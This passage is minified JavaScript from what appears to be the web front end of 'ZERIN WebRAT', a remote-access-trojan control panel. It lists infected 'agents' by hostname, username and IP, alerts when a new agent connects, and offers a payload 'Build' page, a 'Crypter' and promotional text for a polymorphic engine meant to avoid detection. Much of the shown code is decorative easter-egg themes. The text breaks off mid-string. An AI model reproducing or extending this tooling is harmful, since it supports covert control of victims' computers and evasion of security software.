left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Lg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Ig=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function pA(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=Lg[Math.floor(Math.random()*Lg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=Ig[Math.floor(Math.random()*Ig.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${m}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Dg=["❤️","💖","💗","💕","♥️","🌸"];let Rg=0;function mA(e,t){const n=Date.now();if(n-Rg<60)return;Rg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Dg[Math.floor(Math.random()*Dg.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function $g(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Bg(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Fg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function hA(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Fg[Math.floor(Math.random()*Fg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function xA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Kf)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),$g()):(a.remove("femboy-theme"),Bg()),()=>{a.remove("femboy-theme"),Bg()}},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{pA(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{mA(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{hA(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},lA),e){if(n.current>=Mg){n.current=0,t(!1);try{localStorage.removeItem(Kf)}catch{}uA()}return}if(n.current>=15&&dA(n.current-14),n.current>=Mg){n.current=0,t(!0);try{localStorage.setItem(Kf,"true")}catch{}cA(),fA(),$g()}},[e]);return{isActive:e,handleStatusClick:i}}const Wg=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function vA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function gA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function yA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${a}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Ug=0,qf=0;function bA(e,t){const n=Date.now();if(n-Ug<40)return;Ug=n,qf=(qf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=qf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function wA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${a}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function jA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=Wg.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);Wg.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?gA():(vA(),yA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>bA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{wA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const kA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},NA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},SA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},zA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},CA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function sd({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${kA[t]} ${SA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${NA[t]} ${zA[e]}`,children:CA[e]})]})}function PA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=ur(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username} — ${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(sd,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Ji={status:"idle",payloadName:"",startedAt:0,error:""};const jm=new Set;function od(){jm.forEach(e=>e())}function pj(){return Ji}function mj(e){return jm.add(e),()=>jm.delete(e)}function EA(e){Ji={status:"building",payloadName:e,startedAt:Date.now(),error:""},od()}function AA(){Ji={...Ji,status:"success"},od()}function Vg(e){Ji={...Ji,status:"error",error:e},od()}function Hg(){Ji={status:"idle",payloadName:"",startedAt:0,error:""},od()}const ld=p.createContext({lastMessage:null}),_A=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],OA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},TA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function MA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function LA(){const{logout:e,isAdmin:t}=ls(),r=p.useSyncExternalStore(mj,pj).status==="building",a=aj()==="rat_crypter"||t,o=[..._A,...a?[OA]:[],...t?[TA]:[]],l=ur(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=oA(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=xA(),{isActive:j}=jA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function I(U){var M,F;if(k||U.ctrlKey||U.metaKey||U.altKey)return;const D=(M=U.target)==null?void 0:M.tagName;D==="INPUT"||D==="TEXTAREA"||D==="SELECT"||(F=U.target)!=null&&F.isContentEditable||U.key.length===1&&(N.current+=U.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const _=p.useCallback(async()=>{try{const I=await oj();v(I)}catch{}},[]);p.useEffect(()=>{_();const I=setInterval(_,15e3);return()=>clearInterval(I)},[_]);const A=p.useCallback(I=>{if(I.type==="agent_update"){const U=I.payload;v(D=>{const M=D.findIndex(F=>F.id===U.id);if(M>=0){const F=[...D];return F[M]=U,F}return m("New Agent Connected",`${U.hostname} (${U.internal_ip})`),[U,...D]})}if(I.type==="event"){const U=I.payload;(U.type==="task_completed"||U.type==="task_failed")&&m("Task Update",U.message)}},[m]),{isConnected:O,lastMessage:P}=sA({onMessage:A});return p.useEffect(()=>{function I(U){(U.metaKey||U.ctrlKey)&&U.key==="k"&&(U.preventDefault(),g(D=>!D))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[]),s.jsx(ld.Provider,{value:{lastMessage:P},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:I,label:U,icon:D})=>s.jsx(SE,{to:I,end:I==="/dashboard",className:({isActive:M})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${M?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:M})=>s.jsxs(s.Fragment,{children:[M&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:M?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:D}),s.jsx("span",{className:"font-medium",children:U}),I==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},I))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${O?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:O?"text-zerin-text-dim":"text-zerin-text-muted",children:O?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(dE,{})}),s.jsx(PA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(MA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const IA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function DA(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const RA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 